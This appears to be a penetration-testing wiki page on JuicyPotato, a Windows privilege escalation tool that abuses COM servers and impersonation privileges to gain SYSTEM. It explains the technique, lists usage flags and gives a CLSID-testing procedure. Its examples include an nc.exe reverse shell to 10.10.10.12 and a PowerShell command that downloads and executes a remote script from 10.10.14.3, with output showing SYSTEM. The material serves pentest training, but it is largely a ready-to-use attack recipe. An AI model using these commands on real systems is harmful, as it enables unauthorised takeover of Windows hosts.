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114 lines
6.2 KiB
Markdown
114 lines
6.2 KiB
Markdown
# JuicyPotato
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#### You can download juicypotato from [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
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## Juicy Potato (abusing the golden privileges) <a href="juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
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_A sugared version of_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, with a bit of juice, i.e. **another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM**_
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### Summary <a href="summary" id="summary"></a>
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[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) and its [variants](https://github.com/decoder-it/lonelypotato) leverages the privilege escalation chain based on [`BITS`](https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799\(v=vs.85\).aspx) [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) having the MiTM listener on `127.0.0.1:6666` and when you have `SeImpersonate` or `SeAssignPrimaryToken` privileges. During a Windows build review we found a setup where `BITS` was intentionally disabled and port `6666` was taken.
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We decided to weaponize [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Say hello to Juicy Potato**.
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> For the theory, see [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) and follow the chain of links and references.
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We discovered that, other than `BITS` there are a several COM servers we can abuse. They just need to:
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1. be instantiable by the current user, normally a “service user” which has impersonation privileges
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2. implement the `IMarshal` interface
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3. run as an elevated user (SYSTEM, Administrator, …)
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After some testing we obtained and tested an extensive list of [interesting CLSID’s](http://ohpe.it/juicy-potato/CLSID/) on several Windows versions.
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### Juicy details <a href="juicy-details" id="juicy-details"></a>
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JuicyPotato allows you to:
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* **Target CLSID** _pick any CLSID you want._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _you can find the list organized by OS._
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* **COM Listening port** _define COM listening port you prefer (instead of the marshalled hardcoded 6666)_
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* **COM Listening IP address** _bind the server on any IP_
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* **Process creation mode** _depending on the impersonated user’s privileges you can choose from:_
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* `CreateProcessWithToken` (needs `SeImpersonate`)
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* `CreateProcessAsUser` (needs `SeAssignPrimaryToken`)
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* `both`
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* **Process to launch** _launch an executable or script if the exploitation succeeds_
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* **Process Argument** _customize the launched process arguments_
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* **RPC Server address** _for a stealthy approach you can authenticate to an external RPC server_
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* **RPC Server port** _useful if you want to authenticate to an external server and firewall is blocking port `135`…_
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* **TEST mode** _mainly for testing purposes, i.e. testing CLSIDs. It creates the DCOM and prints the user of token. See_ [_here for testing_](http://ohpe.it/juicy-potato/Test/)
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### Usage <a href="usage" id="usage"></a>
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```
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T:\>JuicyPotato.exe
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JuicyPotato v0.1
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Mandatory args:
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-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
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-p <program>: program to launch
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-l <port>: COM server listen port
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Optional args:
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-m <ip>: COM server listen address (default 127.0.0.1)
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-a <argument>: command line argument to pass to program (default NULL)
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-k <ip>: RPC server ip address (default 127.0.0.1)
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-n <port>: RPC server listen port (default 135)
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```
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### Final thoughts <a href="final-thoughts" id="final-thoughts"></a>
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If the user has `SeImpersonate` or `SeAssignPrimaryToken` privileges then you are **SYSTEM**.
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It’s nearly impossible to prevent the abuse of all these COM Servers. You could think about modifying the permissions of these objects via `DCOMCNFG` but good luck, this is gonna be challenging.
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The actual solution is to protect sensitive accounts and applications which run under the `* SERVICE` accounts. Stopping `DCOM` would certainly inhibit this exploit but could have a serious impact on the underlying OS.
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From: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
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## Examples
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Note: Visit [this page](https://ohpe.it/juicy-potato/CLSID/) for a list of CLSIDs to try.
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### Get a nc.exe reverse shell
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```
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c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
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Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
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......
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[+] authresult 0
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{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
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[+] CreateProcessWithTokenW OK
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c:\Users\Public>
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```
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### Powershell rev
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```
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.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
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```
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### Launch a new CMD (if you have RDP access)
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.png>)
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## CLSID Problems
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Oftentimes, the default CLSID that JuicyPotato uses **doesn't work** and the exploit fails. Usually, it takes multiple attempts to find a **working CLSID**. To get a list of CLSIDs to try for a specific operating system, you should visit this page:
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{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}
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### **Checking CLSIDs**
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First, you will need some executables apart from juicypotato.exe.
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Download [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) and load it into your PS session, and download and execute [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). That script will create a list of possible CLSIDs to test.
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Then download [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)(change the path to the CLSID list and to the juicypotato executable) and execute it. It will start trying every CLSID, and **when the port number changes, it will mean that the CLSID worked**.
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**Check** the working CLSIDs **using the parameter -c**
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